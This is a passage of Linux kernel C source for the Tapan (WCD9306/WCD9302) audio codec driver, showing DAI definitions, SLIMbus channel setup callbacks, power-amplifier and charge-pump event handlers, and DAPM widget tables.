if (dai->id != AIF1_CAP) {
dev_dbg(codec->dev, "%s: Not capture use case skip\n",
__func__);
return 0;
}
mute = (mute) ? 1 : 0;
if (!mute) {
/*
* 5 ms is an emperical value for the mute time
* that was arrived by checking the pop level
* to be inaudible
*/
usleep_range(5000, 5010);
}
for (i = 0; i < NUM_DECIMATORS; i++) {
if (tapan_p->dec_active[i])
decimator = i + 1;
if (decimator && decimator <= NUM_DECIMATORS) {
pr_debug("%s: Mute = %d Decimator = %d", __func__,
mute, decimator);
tx_vol_ctl_reg = TAPAN_A_CDC_TX1_VOL_CTL_CFG +
8 * (decimator - 1);
snd_soc_update_bits(codec, tx_vol_ctl_reg, 0x01, mute);
}
decimator = 0;
}
return 0;
}
static struct snd_soc_dai_ops tapan_dai_ops = {
.startup = tapan_startup,
.shutdown = tapan_shutdown,
.hw_params = tapan_hw_params,
.set_sysclk = tapan_set_dai_sysclk,
.set_fmt = tapan_set_dai_fmt,
.set_channel_map = tapan_set_channel_map,
.get_channel_map = tapan_get_channel_map,
.digital_mute = tapan_digital_mute,
};
static struct snd_soc_dai_driver tapan9302_dai[] = {
{
.name = "tapan9302_rx1",
.id = AIF1_PB,
.playback = {
.stream_name = "AIF1 Playback",
.rates = WCD9302_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 48000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan9302_tx1",
.id = AIF1_CAP,
.capture = {
.stream_name = "AIF1 Capture",
.rates = WCD9302_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 48000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan9302_rx2",
.id = AIF2_PB,
.playback = {
.stream_name = "AIF2 Playback",
.rates = WCD9302_RATES,
.formats = TAPAN_FORMATS,
.rate_min = 8000,
.rate_max = 48000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan9302_tx2",
.id = AIF2_CAP,
.capture = {
.stream_name = "AIF2 Capture",
.rates = WCD9302_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 48000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan9302_tx3",
.id = AIF3_CAP,
.capture = {
.stream_name = "AIF3 Capture",
.rates = WCD9302_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 48000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan9302_rx3",
.id = AIF3_PB,
.playback = {
.stream_name = "AIF3 Playback",
.rates = WCD9302_RATES,
.formats = TAPAN_FORMATS,
.rate_min = 8000,
.rate_max = 48000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
};
static struct snd_soc_dai_driver tapan_dai[] = {
{
.name = "tapan_rx1",
.id = AIF1_PB,
.playback = {
.stream_name = "AIF1 Playback",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS_S16_S24_LE,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan_tx1",
.id = AIF1_CAP,
.capture = {
.stream_name = "AIF1 Capture",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan_rx2",
.id = AIF2_PB,
.playback = {
.stream_name = "AIF2 Playback",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS_S16_S24_LE,
.rate_min = 8000,
.rate_max = 192000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan_tx2",
.id = AIF2_CAP,
.capture = {
.stream_name = "AIF2 Capture",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan_tx3",
.id = AIF3_CAP,
.capture = {
.stream_name = "AIF3 Capture",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 48000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan_rx3",
.id = AIF3_PB,
.playback = {
.stream_name = "AIF3 Playback",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS_S16_S24_LE,
.rate_min = 8000,
.rate_max = 192000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
};
static struct snd_soc_dai_driver tapan_i2s_dai[] = {
{
.name = "tapan_i2s_rx1",
.id = AIF1_PB,
.playback = {
.stream_name = "AIF1 Playback",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan_i2s_tx1",
.id = AIF1_CAP,
.capture = {
.stream_name = "AIF1 Capture",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tapan_dai_ops,
},
};
static int tapan_codec_enable_slim_chmask(struct wcd9xxx_codec_dai_data *dai,
bool up)
{
int ret = 0;
struct wcd9xxx_ch *ch;
if (up) {
list_for_each_entry(ch, &dai->wcd9xxx_ch_list, list) {
ret = wcd9xxx_get_slave_port(ch->ch_num);
if (ret < 0) {
pr_debug("%s: Invalid slave port ID: %d\n",
__func__, ret);
ret = -EINVAL;
} else {
set_bit(ret, &dai->ch_mask);
}
}
} else {
ret = wait_event_timeout(dai->dai_wait, (dai->ch_mask == 0),
msecs_to_jiffies(
TAPAN_SLIM_CLOSE_TIMEOUT));
if (!ret) {
pr_debug("%s: Slim close tx/rx wait timeout\n",
__func__);
ret = -ETIMEDOUT;
} else {
ret = 0;
}
}
return ret;
}
static int tapan_codec_enable_slimrx(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol,
int event)
{
struct wcd9xxx *core;
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
int ret = 0;
struct wcd9xxx_codec_dai_data *dai;
core = dev_get_drvdata(codec->dev->parent);
if(core == NULL) {
dev_err(codec->dev, "%s: core is null\n",
__func__);
return -EINVAL;
}
dev_dbg(codec->dev, "%s: event called! codec name %s\n",
__func__, w->codec->name);
dev_dbg(codec->dev, "%s: num_dai %d stream name %s event %d\n",
__func__, w->codec->num_dai, w->sname, event);
/* Execute the callback only if interface type is slimbus */
if (tapan_p->intf_type != WCD9XXX_INTERFACE_TYPE_SLIMBUS)
return 0;
dai = &tapan_p->dai[w->shift];
dev_dbg(codec->dev, "%s: w->name %s w->shift %d event %d\n",
__func__, w->name, w->shift, event);
switch (event) {
case SND_SOC_DAPM_POST_PMU:
dai->bus_down_in_recovery = false;
(void) tapan_codec_enable_slim_chmask(dai, true);
ret = wcd9xxx_cfg_slim_sch_rx(core, &dai->wcd9xxx_ch_list,
dai->rate, dai->bit_width,
&dai->grph);
break;
case SND_SOC_DAPM_POST_PMD:
ret = wcd9xxx_close_slim_sch_rx(core, &dai->wcd9xxx_ch_list,
dai->grph);
if (!dai->bus_down_in_recovery)
ret = tapan_codec_enable_slim_chmask(dai, false);
if (ret < 0) {
ret = wcd9xxx_disconnect_port(core,
&dai->wcd9xxx_ch_list,
dai->grph);
dev_dbg(codec->dev, "%s: Disconnect RX port, ret = %d\n",
__func__, ret);
}
if ((core != NULL) &&
(core->dev != NULL) &&
(core->dev->parent != NULL)) {
pm_runtime_mark_last_busy(core->dev->parent);
pm_runtime_put(core->dev->parent);
dev_dbg(codec->dev, "%s: unvote requested", __func__);
}
dai->bus_down_in_recovery = false;
break;
}
return ret;
}
static int tapan_codec_enable_slimtx(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol,
int event)
{
struct wcd9xxx *core;
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
u32 ret = 0;
struct wcd9xxx_codec_dai_data *dai;
core = dev_get_drvdata(codec->dev->parent);
dev_dbg(codec->dev, "%s: event called! codec name %s\n",
__func__, w->codec->name);
dev_dbg(codec->dev, "%s: num_dai %d stream name %s\n",
__func__, w->codec->num_dai, w->sname);
/* Execute the callback only if interface type is slimbus */
if (tapan_p->intf_type != WCD9XXX_INTERFACE_TYPE_SLIMBUS)
return 0;
dev_dbg(codec->dev, "%s(): w->name %s event %d w->shift %d\n",
__func__, w->name, event, w->shift);
dai = &tapan_p->dai[w->shift];
switch (event) {
case SND_SOC_DAPM_POST_PMU:
dai->bus_down_in_recovery = false;
(void) tapan_codec_enable_slim_chmask(dai, true);
ret = wcd9xxx_cfg_slim_sch_tx(core, &dai->wcd9xxx_ch_list,
dai->rate, dai->bit_width,
&dai->grph);
break;
case SND_SOC_DAPM_POST_PMD:
ret = wcd9xxx_close_slim_sch_tx(core, &dai->wcd9xxx_ch_list,
dai->grph);
if (!dai->bus_down_in_recovery)
ret = tapan_codec_enable_slim_chmask(dai, false);
if (ret < 0) {
ret = wcd9xxx_disconnect_port(core,
&dai->wcd9xxx_ch_list,
dai->grph);
dev_dbg(codec->dev, "%s: Disconnect RX port, ret = %d\n",
__func__, ret);
}
if ((core != NULL) &&
(core->dev != NULL) &&
(core->dev->parent != NULL)) {
pm_runtime_mark_last_busy(core->dev->parent);
pm_runtime_put(core->dev->parent);
dev_dbg(codec->dev, "%s: unvote requested", __func__);
}
dai->bus_down_in_recovery = false;
break;
}
return ret;
}
static int tapan_codec_enable_ear_pa(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_POST_PMU:
wcd9xxx_clsh_fsm(codec, &tapan_p->clsh_d,
WCD9XXX_CLSH_STATE_EAR,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
usleep_range(5000, 5010);
break;
case SND_SOC_DAPM_POST_PMD:
usleep_range(5000, 5010);
snd_soc_update_bits(codec, TAPAN_A_RX_EAR_EN, 0x40, 0x00);
wcd9xxx_clsh_fsm(codec, &tapan_p->clsh_d,
WCD9XXX_CLSH_STATE_EAR,
WCD9XXX_CLSH_REQ_DISABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
}
return 0;
}
static int tapan_codec_ear_dac_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
wcd9xxx_clsh_fsm(codec, &tapan_p->clsh_d,
WCD9XXX_CLSH_STATE_EAR,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_PRE_DAC);
break;
}
return 0;
}
static int tapan_codec_iir_mux_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
pr_debug("%s: event = %d\n", __func__, event);
switch (event) {
case SND_SOC_DAPM_POST_PMU:
snd_soc_write(codec, w->reg, snd_soc_read(codec, w->reg));
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_write(codec, w->reg, snd_soc_read(codec, w->reg));
break;
}
return 0;
}
static int tapan_codec_dsm_mux_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
u8 reg_val, zoh_mux_val = 0x00;
dev_dbg(codec->dev, "%s: event = %d\n", __func__, event);
switch (event) {
case SND_SOC_DAPM_POST_PMU:
reg_val = snd_soc_read(codec, TAPAN_A_CDC_CONN_CLSH_CTL);
if ((reg_val & 0x30) == 0x10)
zoh_mux_val = 0x04;
else if ((reg_val & 0x30) == 0x20)
zoh_mux_val = 0x08;
if (zoh_mux_val != 0x00)
snd_soc_update_bits(codec,
TAPAN_A_CDC_CONN_CLSH_CTL,
0x0C, zoh_mux_val);
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_update_bits(codec, TAPAN_A_CDC_CONN_CLSH_CTL,
0x0C, 0x00);
break;
}
return 0;
}
static int tapan_codec_enable_anc_ear(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
int ret = 0;
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
ret = tapan_codec_enable_anc(w, kcontrol, event);
msleep(50);
snd_soc_update_bits(codec, TAPAN_A_RX_EAR_EN, 0x10, 0x10);
break;
case SND_SOC_DAPM_POST_PMU:
ret = tapan_codec_enable_ear_pa(w, kcontrol, event);
break;
case SND_SOC_DAPM_PRE_PMD:
snd_soc_update_bits(codec, TAPAN_A_RX_EAR_EN, 0x10, 0x00);
msleep(40);
ret |= tapan_codec_enable_anc(w, kcontrol, event);
break;
case SND_SOC_DAPM_POST_PMD:
ret = tapan_codec_enable_ear_pa(w, kcontrol, event);
break;
}
return ret;
}
static int tapan_codec_chargepump_vdd_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *priv = snd_soc_codec_get_drvdata(codec);
int ret = 0, i;
pr_info("%s: event = %d\n", __func__, event);
if (!priv->cp_regulators[CP_REG_BUCK]
&& !priv->cp_regulators[CP_REG_BHELPER]) {
pr_err("%s: No power supply defined for ChargePump\n",
__func__);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
for (i = 0; i < CP_REG_MAX ; i++) {
if (!priv->cp_regulators[i])
continue;
ret = regulator_enable(priv->cp_regulators[i]);
if (ret) {
pr_err("%s: CP Regulator enable failed, index = %d\n",
__func__, i);
continue;
} else {
pr_debug("%s: Enabled CP regulator, index %d\n",
__func__, i);
}
}
break;
case SND_SOC_DAPM_POST_PMD:
for (i = 0; i < CP_REG_MAX; i++) {
if (!priv->cp_regulators[i])
continue;
ret = regulator_disable(priv->cp_regulators[i]);
if (ret) {
pr_err("%s: CP Regulator disable failed, index = %d\n",
__func__, i);
return ret;
} else {
pr_debug("%s: Disabled CP regulator %d\n",
__func__, i);
}
}
break;
}
return 0;
}
static int tapan_codec_set_iir_gain(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
int value = 0;
switch (event) {
case SND_SOC_DAPM_POST_PMU:
value = snd_soc_read(codec, TAPAN_A_CDC_IIR1_GAIN_B1_CTL);
snd_soc_write(codec, TAPAN_A_CDC_IIR1_GAIN_B1_CTL, value);
break;
default:
pr_err("%s: event = %d not expected\n", __func__, event);
}
return 0;
}
static const struct snd_soc_dapm_widget tapan_9306_dapm_widgets[] = {
/* RX4 MIX1 mux inputs */
SND_SOC_DAPM_MUX("RX4 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx4_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX4 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx4_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX4 MIX1 INP3", SND_SOC_NOPM, 0, 0,
&rx4_mix1_inp3_mux),
/* RX4 MIX2 mux inputs */
SND_SOC_DAPM_MUX("RX4 MIX2 INP1", SND_SOC_NOPM, 0, 0,
&rx4_mix2_inp1_mux),
SND_SOC_DAPM_MUX("RX4 MIX2 INP2", SND_SOC_NOPM, 0, 0,
&rx4_mix2_inp2_mux),
SND_SOC_DAPM_MIXER("RX4 MIX1", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER_E("RX4 MIX2", TAPAN_A_CDC_CLK_RX_B1_CTL, 3, 0, NULL,
0, tapan_codec_enable_interpolator, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MUX_E("DEC3 MUX", TAPAN_A_CDC_CLK_TX_CLK_EN_B1_CTL, 2, 0,
&dec3_mux, tapan_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("DEC4 MUX", TAPAN_A_CDC_CLK_TX_CLK_EN_B1_CTL, 3, 0,
&dec4_mux, tapan_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_SUPPLY("COMP0_CLK", SND_SOC_NOPM, 0, 0,
tapan_config_compander, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_PRE_PMD),
SND_SOC_DAPM_SUPPLY("COMP1_CLK", SND_SOC_NOPM, 1, 0,
tapan_config_compander, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_PRE_PMD),
SND_SOC_DAPM_SUPPLY("COMP2_CLK", SND_SOC_NOPM, 2, 0,
tapan_config_compander, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_PRE_PMD),
SND_SOC_DAPM_INPUT("AMIC5"),
SND_SOC_DAPM_ADC_E("ADC5", NULL, TAPAN_A_TX_5_EN, 7, 0,
tapan_codec_enable_adc, SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MUX("ANC1 MUX", SND_SOC_NOPM, 0, 0, &anc1_mux),
SND_SOC_DAPM_MUX("ANC2 MUX", SND_SOC_NOPM, 0, 0, &anc2_mux),
SND_SOC_DAPM_OUTPUT("ANC HEADPHONE"),
SND_SOC_DAPM_PGA_E("ANC HPHL", SND_SOC_NOPM, 5, 0, NULL, 0,
tapan_codec_enable_anc_hph,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_PRE_PMD |
SND_SOC_DAPM_POST_PMD | SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_PGA_E("ANC HPHR", SND_SOC_NOPM, 4, 0, NULL, 0,
tapan_codec_enable_anc_hph, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD |
SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_OUTPUT("ANC EAR"),
SND_SOC_DAPM_PGA_E("ANC EAR PA", SND_SOC_NOPM, 0, 0, NULL, 0,
tapan_codec_enable_anc_ear,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_PRE_PMD |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX("ANC1 FB MUX", SND_SOC_NOPM, 0, 0, &anc1_fb_mux),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS3 External", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS3 Internal1", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS3 Internal2", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("DMIC3", NULL, SND_SOC_NOPM, 0, 0,
tapan_codec_enable_dmic, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("DMIC4", NULL, SND_SOC_NOPM, 0, 0,
tapan_codec_enable_dmic, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
};
/* Todo: Have seperate dapm widgets for I2S and Slimbus.
* Might Need to have callbacks registered only for slimbus
*/
static const struct snd_soc_dapm_widget tapan_common_dapm_widgets[] = {
SND_SOC_DAPM_AIF_IN_E("AIF1 PB", "AIF1 Playback", 0, SND_SOC_NOPM,
AIF1_PB, 0, tapan_codec_enable_slimrx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_IN_E("AIF2 PB", "AIF2 Playback", 0, SND_SOC_NOPM,
AIF2_PB, 0, tapan_codec_enable_slimrx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_IN_E("AIF3 PB", "AIF3 Playback", 0, SND_SOC_NOPM,
AIF3_PB, 0, tapan_codec_enable_slimrx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX("SLIM RX1 MUX", SND_SOC_NOPM, TAPAN_RX1, 0,
&slim_rx_mux[TAPAN_RX1]),
SND_SOC_DAPM_MUX("SLIM RX2 MUX", SND_SOC_NOPM, TAPAN_RX2, 0,
&slim_rx_mux[TAPAN_RX2]),
SND_SOC_DAPM_MUX("SLIM RX3 MUX", SND_SOC_NOPM, TAPAN_RX3, 0,
&slim_rx_mux[TAPAN_RX3]),
SND_SOC_DAPM_MUX("SLIM RX4 MUX", SND_SOC_NOPM, TAPAN_RX4, 0,
&slim_rx_mux[TAPAN_RX4]),
SND_SOC_DAPM_MUX("SLIM RX5 MUX", SND_SOC_NOPM, TAPAN_RX5, 0,
&slim_rx_mux[TAPAN_RX5]),
SND_SOC_DAPM_MIXER("SLIM RX1", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("SLIM RX2", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("SLIM RX3", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("SLIM RX4", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("SLIM RX5", SND_SOC_NOPM, 0, 0, NULL, 0),
/* RX1 MIX1 mux inputs */
SND_SOC_DAPM_MUX("RX1 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX1 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX1 MIX1 INP3", SND_SOC_NOPM, 0, 0,
&rx_mix1_inp3_mux),
/* RX2 MIX1 mux inputs */
SND_SOC_DAPM_MUX("RX2 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx2_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX2 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx2_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX2 MIX1 INP3", SND_SOC_NOPM, 0, 0,
&rx2_mix1_inp2_mux),
/* RX3 MIX1 mux inputs */
SND_SOC_DAPM_MUX("RX3 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx3_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX3 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx3_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX3 MIX1 INP3", SND_SOC_NOPM, 0, 0,
&rx3_mix1_inp3_mux),
/* RX1 MIX2 mux inputs */
SND_SOC_DAPM_MUX("RX1 MIX2 INP1", SND_SOC_NOPM, 0, 0,
&rx1_mix2_inp1_mux),
SND_SOC_DAPM_MUX("RX1 MIX2 INP2", SND_SOC_NOPM, 0, 0,
&rx1_mix2_inp2_mux),
/* RX2 MIX2 mux inputs */
SND_SOC_DAPM_MUX("RX2 MIX2 INP1", SND_SOC_NOPM, 0, 0,
&rx2_mix2_inp1_mux),
SND_SOC_DAPM_MUX("RX2 MIX2 INP2", SND_SOC_NOPM, 0, 0,
&rx2_mix2_inp2_mux),
SND_SOC_DAPM_MIXER("RX1 MIX1", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("RX2 MIX1", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("RX1 MIX2", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("RX2 MIX2", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER_E("RX3 MIX1", TAPAN_A_CDC_CLK_RX_B1_CTL, 2, 0, NULL,
0, tapan_codec_enable_interpolator, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_VIRT_MUX_E("RX1 INTERPOLATOR",
TAPAN_A_CDC_CLK_RX_B1_CTL, 0, 0,
&rx1_interpolator, tapan_codec_enable_interpolator,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_VIRT_MUX_E("RX2 INTERPOLATOR",
TAPAN_A_CDC_CLK_RX_B1_CTL, 1, 0,
&rx2_interpolator, tapan_codec_enable_interpolator,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MIXER("RX1 CHAIN", TAPAN_A_CDC_RX1_B6_CTL, 5, 0,
NULL, 0),
SND_SOC_DAPM_MIXER_E("RX2 CHAIN", SND_SOC_NOPM, 0, 0, NULL,
0, tapan_codec_rx_dem_select, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("CLASS_H_DSM MUX", SND_SOC_NOPM, 0, 0,
&class_h_dsm_mux, tapan_codec_dsm_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
/* RX Bias */
SND_SOC_DAPM_SUPPLY("RX_BIAS", SND_SOC_NOPM, 0, 0,
tapan_codec_enable_rx_bias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
/* CDC_CP_VDD */
SND_SOC_DAPM_SUPPLY("CDC_CP_VDD", SND_SOC_NOPM, 0, 0,
tapan_codec_chargepump_vdd_event, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
/*EAR */
SND_SOC_DAPM_PGA_E("EAR PA", TAPAN_A_RX_EAR_EN, 4, 0, NULL, 0,
tapan_codec_enable_ear_pa, SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MIXER_E("DAC1", TAPAN_A_RX_EAR_EN, 6, 0, dac1_switch,
ARRAY_SIZE(dac1_switch), tapan_codec_ear_dac_event,
SND_SOC_DAPM_PRE_PMU),
/* Headphone Left */
SND_SOC_DAPM_PGA_E("HPHL", TAPAN_A_RX_HPH_CNP_EN, 5, 0, NULL, 0,
tapan_hph_pa_event, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MIXER_E("HPHL DAC", TAPAN_A_RX_HPH_L_DAC_CTL, 7, 0,
hphl_switch, ARRAY_SIZE(hphl_switch), tapan_hphl_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
/* Headphone Right */
SND_SOC_DAPM_PGA_E("HPHR", TAPAN_A_RX_HPH_CNP_EN, 4, 0, NULL, 0,
tapan_hph_pa_event, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_DAC_E("HPHR DAC", NULL, TAPAN_A_RX_HPH_R_DAC_CTL, 7, 0,
tapan_hphr_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
/* LINEOUT1*/
SND_SOC_DAPM_DAC_E("LINEOUT1 DAC", NULL, TAPAN_A_RX_LINE_1_DAC_CTL, 7, 0
, tapan_lineout_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA_E("LINEOUT1 PA", TAPAN_A_RX_LINE_CNP_EN, 0, 0, NULL,
0, tapan_codec_enable_lineout, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
/* LINEOUT2*/
SND_SOC_DAPM_MUX("RDAC5 MUX", SND_SOC_NOPM, 0, 0,
&rx_dac5_mux),
/* LINEOUT1*/
SND_SOC_DAPM_MUX("RDAC4 MUX", SND_SOC_NOPM, 0, 0,
&rx_dac4_mux),
SND_SOC_DAPM_MUX("RDAC3 MUX", SND_SOC_NOPM, 0, 0,
&rx_dac3_mux),
SND_SOC_DAPM_DAC_E("LINEOUT2 DAC", NULL, TAPAN_A_RX_LINE_2_DAC_CTL, 7, 0
, tapan_lineout_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA_E("LINEOUT2 PA", TAPAN_A_RX_LINE_CNP_EN, 1, 0, NULL,
0, tapan_codec_enable_lineout, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
/* CLASS-D SPK */
SND_SOC_DAPM_MIXER_E("SPK DAC", SND_SOC_NOPM, 0, 0,
spk_dac_switch, ARRAY_SIZE(spk_dac_switch), tapan_spk_dac_event,
